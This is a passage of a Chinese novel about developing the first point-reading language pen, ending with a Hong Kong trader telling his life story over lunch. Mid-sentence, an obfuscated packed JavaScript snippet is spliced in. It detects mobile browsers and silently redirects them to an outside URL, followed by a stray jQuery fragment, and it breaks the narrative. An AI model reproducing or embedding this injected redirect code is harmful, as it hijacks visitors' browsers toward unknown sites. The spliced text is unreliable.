精心开发的“G8”多功能“早教机”出师不利，没有达到预想的效果；生产销售“网络电话机”美梦也被骗子打得粉碎。“八昊达”陷入了进退两难的危机之中。
周亚平清醒地知道，继续寻找、开发新产品是公司唯一的出路。为此，他抽出几天时间，集中走访了多家电子产品科技开发公司。
在一家以前有过合作的 “宙斯科技”公司，周亚平偶然发现一款儿童玩具。这是一个漂亮的玩偶，身上牵着一根线，线上连着一个笔头。小朋友把玩时，只要用笔头在配套的彩色卡片上指点文字或图画，便由玩偶身上的喇叭里发出相应的声音。比如，点击卡片上的小狗图像，就发出狗叫声，点击小猫图像，就发出猫叫声；点击“妈妈”、“爸爸”的文字，就分别发出“妈妈”、“爸爸”的声音。
周亚平询问该公司总经理付涛，这是采用什么技术开发的，付涛告诉他，这是他们的一家客户用台湾公司的“隐形码”识别技术开发的。见周亚平露出不解的眼神，付涛给他解释：“说通俗一点吧，这项技术的要点就是铺码，即在卡片上，除了普通印刷外，还铺印了一层编码，这种码是由极细的黑点组成，采用微缩印刷技术，肉眼不易看出，所以我们看到的彩色卡片与普通卡片没有区别，但专用的笔头可以识别这些码，因此，只要点击识别这些码，就可以发出事先录制好的相应的声音。”
对这一新产品，周亚平刚开始还只是觉得挺好玩，后仔细一想，觉得这样的高科技，用在这种儿童玩具上，实在太委屈了，应该有更重要的用途才对。用在什么地方才能更好地发挥这项技术的特长呢？灵感一闪，周亚平突然想到了一个产品用途的开发方向。越想越觉得前途广阔，越想越情不自禁地感到兴奋。
“付总，这项技术我很看好，也转让给我们吧。”周亚平抑制住自己的兴奋，慢悠悠地说。
付涛笑了笑说：“这真不行。这项技术的配套器件，是台湾‘晶浩’公司开发生产的，我们只是他们在大陆的销售代理而已。他们已经明确告诉我们，为了避免无序竞争，大陆只能卖给两家公司，现在都已确定。不可能再给第三家。”
“中国这么大，增加一个企业又算什么？怎么就会‘无序竞争’？”周亚平继续争取。
“周总，我们当然愿意多一家买我们的代理产品，但这项技术和配件，我们公司实在是没有权力决定卖给谁。”付涛耐心解释。
周亚平接着问：“哪谁有这个权力呢？”
付涛毫不含糊地说：“ ‘晶浩’香港分部的贺协理，贺友彰。只有他说了才算。”
话都说到这个程度，周亚平知道，再求付涛毫无意义，因此问：“付总，我想与贺总直接谈，请你帮忙约一下。”
“好吧，我帮你约，”付涛答应了，“但恕我直言，老贺这个人不太好说话，你的希望不大。”
约定的见面时间在周六晚上8点钟，地点在“宙斯科技”附近的一家咖啡馆。
周亚平早早来到约定地点，选了个座位，由于他本人对咖啡并不感兴趣，要了一杯“雪碧”，拿起一张报纸边看边等。
不久，付涛领着贺友彰走了进来。互相介绍后，周亚平叫来服务员，问：“二位需要什么，尽管点，说好了，今天我为东。”
付、贺各自点了自己口味的咖啡后，大家聊起了正题。
“贺协理，我今天专门为了‘隐形码’识别组件一事而来。我想请教贺总，为什么只卖给现在的两家企业？”
贺友彰不屑地回答：“对他们这两家企业还有疑问？那可都是国内鼎鼎有名的大企业。多有气魄，每家一口气投资几千万元来进行后续开发，其中一家，买下了‘迪士尼’的动漫‘米奇’的专利，来制作玩偶。试问，贵公司有这个实力吗？”
看到贺友彰公然地嘲讽自己，周亚平压抑住心头的气愤，笑着说：“我们公司确实是没有这个实力，但是，即使是有这个实力，我们也绝不会干这种傻事。”
“傻事？”贺友彰眼睛瞪得滚圆，“别吃不到葡萄说葡萄酸。”
周亚平仍满脸堆笑：“我还真不是那种人。贺协理，我这样说是有道理的。你想，用‘迪士尼’卡通形象做儿童玩具的，全世界、全中国多了去了，你步人后尘，再花大价钱去购买版权，一点创意都没有，这不是白花钱？另外，这么一项高科技的最新成果，居然用到儿童玩具上——我不是说儿童玩具不重要，而是这种发声的儿童玩具可以用十分简单的技术来实现，没必要采用这种价格昂贵的新技术器件。说得不好听，这是大炮打麻雀，糟蹋了这项新技术。”
“哦！周总这样认为？”贺友彰有点惊奇，“那你们想要把这项技术用到何处？”
“对了，这就是我今天找你的重点。”周亚平卖了个关子，“你想想。对了，付总，你也想想，我们究竟想用这项技术开发什么产品？”
付涛正低头看一本杂志，听周亚平问到自己，抬起头来：“周总，别打哑谜了，有什么打算就给贺协理说吧。”
周亚平正襟危坐，说：“我想把它做成一支笔，一支可以学习英语及其它外语的发声笔。这项技术最大的特点是能够在书本上点击发声，我们就可以用这支笔在配套的英语或其他语种书本上点击发声。这必将成为学习语言的神器，过去那些复读机之类的学习英语的工具根本无法与之相比。语言学习，这是一个多么广阔的市场，而在这个市场上，这支学习笔，有无法想象的发展空间。”
听了这番话后，付涛、贺友彰都沉默不语。
也就是这个晚上，台湾“晶浩”公司决定把“隐形码”识别技术的转让增加一个公司——“八昊达科技有限公司”。
第二天，周亚平把这个消息告知其他两位股东，并提出了自己对新产品开发的初步设想，希望“锦创达”公司的技术人员协助开发。周锦达满口应承：“周总，我公司几个重要的技术人员，你都很熟，我跟他们交代过，你有什么事直接安排他们就是，我们是一家人。”
确实不假，从“早教机”生产开始，周亚平就与“锦创达”公司几位技术人员打交道，彼此都很熟悉，特别是其中一位硬件工程师李爱国，与周亚平关系特别好。李工有一个亲戚，叫邵军寅，当时在别的企业搞技术工作，他推荐给周亚平，后来邵成了“八昊达”公司的技术骨干。
拿到“隐形码”识别技术转让权后，周亚平第一时间找到李爱国，与他商议语言学习笔研发事宜。
第一次研讨会在“八昊达”公司会议室举行，公司有关人员与李爱国参加了会议。
周亚平粗略地介绍了得到这项技术转让的过程，他面色庄重地说：“这个机会可是我们好不容易才得到的，所以，语言学习笔的开发，只许成功，不许失败。”
采购部的柴晋生正在玩弄周亚平带回来的“隐形码”识别玩偶，插话说：“周总，人家这样大一个玩偶，我们要把它变成一支笔，怎么可能？”
周亚平瞄了他一眼，揶揄地说：“挂在墙上的闹钟那么大的个子，不也能变成手表吗，我们怎么就不能把这么大的玩偶变成一支笔？”
大家都笑了。
周亚平继续说“无非就是把元器件都换成小号的。我拆开看过，它这个产品，最大的物件就是电池和喇叭，因为玩偶上有的是空间，所以，用了很大的2号电池和2寸全频喇叭。我们要做成一支笔，就只能用小的锂电池——这样也好，可反复充电使用。只是如果用微型喇叭，音量和音质会差很多，但也是没有办法的。可以考虑尽量用好一点的产品来弥补，哪怕价格贵一些。李工，你看有没有问题？”
李爱国沉吟了一会，回答：“我刚拿到技术资料，还得消化一下，从理论上说应该可以做到。周总，我明天再给你明确答复吧。”
“行！就这样，”周亚平转向柴晋生，“小柴，你马上联系一家设计公司，请他们明天来我公司，只要李工确认可以开发，我们立即开始产品的外观设计和结构设计。”
第二天，李爱国电话回复周亚平，仔细研究了电原理图和产品结构，确认做成笔型产品没有问题。
下午，设计公司老总带着设计工程师来到“八昊达”公司，双方就产品设计问题进行了详尽的讨论。设计公司承诺一周后送出初稿。
语言学习笔的开发有条不紊地进行，一环紧扣一环：产品外观、结构设计定型——按此设计制作模型手板——按此产品结构设计电路板——设计好的电路板送厂打样——配齐元器件，手工焊接组装电路板——在手板塑胶模型中装配电路板和配件，最后制作成产品样机。
当这支手工制作的语音笔在实验书页上点击发出声音的那一刻，全体在场的“八昊达”员工都被震撼到了。市场部王惠大声呼喊：“世界上第一支‘语音笔’诞生了！”文员陈晓丽张口结舌地惊叹：“真神了，小小一支笔会说话！”
也是这句话启发了周亚平，在后面给这一产品命名时，称为“神话笔”。这一称呼，在产品生产销售初期一直沿用，产品广告彩页的题头，就是“神话笔”三个大字。
渐渐的，周亚平感到这一称呼仍然不够达意。公司广告里有一句宣传词：“指哪响哪，即点即读的‘神话笔’，”后来，公司员工都把这支笔简称为“点读笔”。这一称呼竟成了这一产品的终生命名，走向了全国。
这第一支“点读笔”在公司的型号是HB-68，这款产品生产出来后，同样面临着销售问题。
由于“点读笔”产品必须有配套的点读书，故在开发产品的同时，“八昊达”公司已经购买了境外一家书商的一本英语教辅读物的版权，经过编辑铺码，重新印刷，制作了5000本点读书，配套HB-68“点读笔”一起销售。
这期间，已经有不少人知道了世界上第一支“点读笔”问世的消息，因此，前来“八昊达”公司打听、联系的人员络绎不绝。有些经销公司看了产品演示后，立即订购了部分产品。
当天，吴树慧也带了个客人来到了“八昊达”公司。
周亚平在市场部办公室会见了来客。
“周总，这位是香港公司的楚先生，也是我的老朋友。”吴向周亚平介绍身边的来客。
“周先生，久仰，久仰，敝人楚靖坤，很高兴认识你！”来人说得文绉绉的。
周亚平握住对方的手：“楚先生好！有幸认识你，同样非常高兴。”
“听吴先生介绍，贵司开发了一支学习英语的笔，今天来拜访，就是想见识见识。”楚靖坤开门见山，说明来意。
“没问题！”周亚平拿出“点读笔”和教辅课本，一边点读，一边讲解，“楚先生你看，我的笔头点到那个单词，那个句子，那个段落，它就读出那个单词、句子和段落的声音。而且这支笔还可以设置‘复读’功能，就是反复诵读，加强记忆；‘跟读’功能，就是笔体读完后，留有时间，让你跟着朗读，锻炼朗读能力；‘跟读对比’功能，就是把你跟着课本朗读的声音录音，与课本原声同时播出，进行对比，以便找到差距，提高语音的准确度。”
看了周亚平使人眼花缭乱的演示，兴趣盎然的楚靖坤，连声称赞：“好产品，真是好产品！吴先生，我们买一套样品回去好好研究，看怎么来经销。”说着就要掏钱。
周亚平赶忙说：“不用了，楚先生，我和吴先生是多年的好朋友，相信我与你今后也会成为好朋友。送你们一套样品就是了。”
楚靖坤拿到样品，连声称谢，聊了一会，就声称要尽快回去研究“点读笔”的营销，与吴树慧一起告辞。
第二天早上，周亚平刚到公司没多久，就见到楚靖坤与吴树慧又匆匆忙忙赶了过来。
“这么早就来了，楚先生，昨天没回香港？”周亚平好奇地问。
吴树慧说：“昨天楚先生在深圳住，他在深圳有一套房。我们讨论了一个晚上。要不是看到确实太晚了，他恨不得昨晚就过来找你。”
还没坐定，楚靖坤就迫不及待地问周亚平：“周先生，除了昨天我们拿走的那本书，如果这支笔要点读其它书，可以吗？”
周亚平告诉他：“从理论上说，任何书都可以实现，但必须把它制作成点读书才行。就是上次我跟你说的，重新印刷时印上一层肉眼看不见的码，我们叫‘隐形码’。其实，我们点读的每一个发声单元，或者单词，或者句子，或者段落，都是事先设计好的，书本上，该发声单元的所有面积都印上同一个隐形码，只要你在这个范围内点读，就被软件识别，发出相应的读音。”
“也就是说，教材也可以实现，比如说本市小学英语教材也可以点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493232|169990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
读。”楚靖坤若有所思。
周亚平知道他的意图了，颇感兴趣地说：“你这个想法倒是很有意思。用到小学英语教材上或其它教材上，这应该是‘点读笔’这种语言学习工具非常好的应用范例。只是，如果要做到在教材上印上‘隐形码’，估计难度会十分大。当然，如果真做到了，那产品的销路也会很好。”
吴树慧插话说：“对了，楚先生在我家里也是这样说的。”
楚靖坤笑了：“我也是看到吴先生所住的小区里有小孩在读英语课本，才想到这条路子。你说这件事有难度，没关系，我就是这种越有难度越感兴趣的人。事在人为，去努力总是会有办法的。”
这就是楚靖坤，敢说大话，也敢干大事。
说话间，时间已经到了午饭时分，周亚平热情地挽留客人用餐，吴树慧客气了几句，楚靖坤却大方地接受：“好吧，听说周先生是湖南人，正好许久没吃湘菜了，还真有点想。”
“耶，楚先生不是香港人吗，怎么能吃辣椒？”周亚平感到意外。
“跟你说吧，我还是半个湖南人，不信，我说句长沙话，你听听。‘我们呷饭克’，”楚靖坤学了一句湖南土话。
他的这句长沙普通话把周亚平逗笑了。
三人来到“八昊达”公司附近的一家湘菜馆，坐下来后，服务员递过菜谱。
周亚平把菜谱送到楚靖坤手中：“楚先生，既然你对湘菜这么熟悉，你来点菜吧。”
楚靖坤也不客气，接过菜谱，略微看过，就点了“剁椒鱼头”和“腊味双蒸”两款菜，然后表示，其余菜让周亚平确定。
周亚平加点了几个经典的湘菜，特别点了一款“外婆炒鸡”，也称“湖南辣子鸡”的菜品，他告诉吴、楚二人：“湖南人在家里请客，必上的一道菜是鸡，有‘无鸡不成席’一说，因此，我今天必须点一道鸡的菜。”
一边吃饭，一边聊天，周亚平把始终弄不明白的问题提出来：“楚先生，你怎么对湘菜这么感兴趣？要知道，香港人和广东人都是怕辣的呀。”
楚靖坤打开了话匣子：“说来话长，我曾经在湖南开过公司，在那里住过两、三年，自然学会了吃辣椒。”
“嘿，想不到你还在我们老家那边办过企业。广东这么大还不够你开公司，要跑到湖南去开？这里面一定有故事，说来听听。”
楚靖坤本来就是个话痨，这下更勾起了他的话瘾，于是，一顿午饭成了他讲故事的时间。
楚靖坤其实是广东客家人，他的父亲曾经是国民党的将级军官。1949年，国民党败退台湾，他父亲是有识之士，没有跟老蒋逃往孤岛，而是辗转到了香港。在那里，他利用平日的积蓄开始创业，干起了餐饮行业，越做越大，陆续在香港增加门店，最多的时候达到了7家餐馆。
楚靖坤的亲生母亲没有与他父亲在外颠簸，被安置在父亲广东的老家，楚靖坤一直和母亲一起生活。可以想见，孤儿寡母，又摊上这样一个难堪的出身，在解放后的农村生活是多么艰难。
楚靖坤的父亲一生娶了5个老婆，因此楚靖坤同父异母的兄弟姐妹特别多，他们分散在两岸各地。
改革开放以后，政策放宽，楚靖坤终于可以申请赴港定居，投奔父亲。刚开始，他在父亲的饭馆里帮忙，做过采买，做过管家。香港的饭馆是个三教九流聚集之地，不管红的、黑的、白的，各路人马都会在这里相遇。
楚靖坤虽然文化程度不高，初中都未念完，但到了这里后，见多识广，慢慢学会了很多东西。加上他本身资质不错，悟性很好，能说会道，精明过人，从而在这里混得如鱼得水。他在这里结识了一班朋友，其中除了狐朋狗友，也不乏人中翘楚和社会精英。
有一个电子企业的大老板姓张，与楚靖坤的关系尤为融洽。张老板诚心诚意地跟他说：“阿楚，你如果一辈子干饮食业，不会有太大前途，不过是赚点小钱。不如趁内地改革开放的机会，到深圳去做工业产品的贸易，这才可能有大把钱赚。”
张老板在深圳有一家很大的独资企业，主要生产加工无绳电话机。当年，通信行业发展很快，由于无绳电话的时尚性和便捷性，受到许多人的追捧，卖得很红火。
楚靖坤听从了张先生的建议，在深圳注册了一家贸易公司，作为张老板产品的总代理，专门从事无绳电话机的销售。
张老板企业生产的产品，按规定，必须全部出口境外。但当时监管也不太严，企业又有不少妙招，楚靖坤实际上是在深圳拿货深圳销售。
楚靖坤从张老板那里拿货是按出厂批发价，很低，每台无绳电话机，加价100元再转手卖到内地去，还很抢手。
就这样，一直干了将近两年。后来由于深圳的同类产品越来越多，价格越降越低，中间商几乎没什么利润，这才罢手不干。但在不到两年的时间里，楚靖坤靠这一产品净赚三千多万元人民币。
说到这里，楚靖坤叹了口气：“人一有钱了，就忘乎所以。当时有个朋友在湖南经商，邀请我去那里办厂，我想都没想就去了。首先开了家饼干厂，生产各种糕点、饼干；后来又建了一家纸箱厂，生产各种包装纸箱。我一个做饮食出身的人，从来没搞过实业，根本没有工业企业管理的经验。再加上用人不当，管理不严，结果连年亏损，企业搞了两三年就都相继垮掉了。把我赚来的钱折腾完一半。”
吴树慧插嘴问：“就算办厂失败，亏了你一半的钱，那还有一半钱留下了，少说也有一千多万元吧，你怎么总是谦虚地说你变成穷光蛋了呢？”
楚靖坤急忙辩解：“真没骗你，当年口袋里有钱时，头脑也是发热的，各种场面花钱如流水。唱个‘卡拉OK’，陪唱的小姐，只要看着顺眼，小费一给就是上千元。请朋友吃饭那更是不惜代价，什么东西贵就点什么东西。——对了，有一次，我在‘半岛酒店’请友人吃饭，隔壁一桌一位不相识的先生，不知何故，端了酒杯走过来向我们敬酒，我一看，这家伙真给面子，因此，买单时要伙计把他们那一桌的账一起结了。大几万的钱就这样撒出去，一点都不心疼。”
“你们想，这样乱来，再多的钱也经不起折腾。看到现在钱这么不好挣，想想当时，手稍微紧一点都不至于如今这样狼狈。”
谈笑声中，结束了湘菜馆的午餐。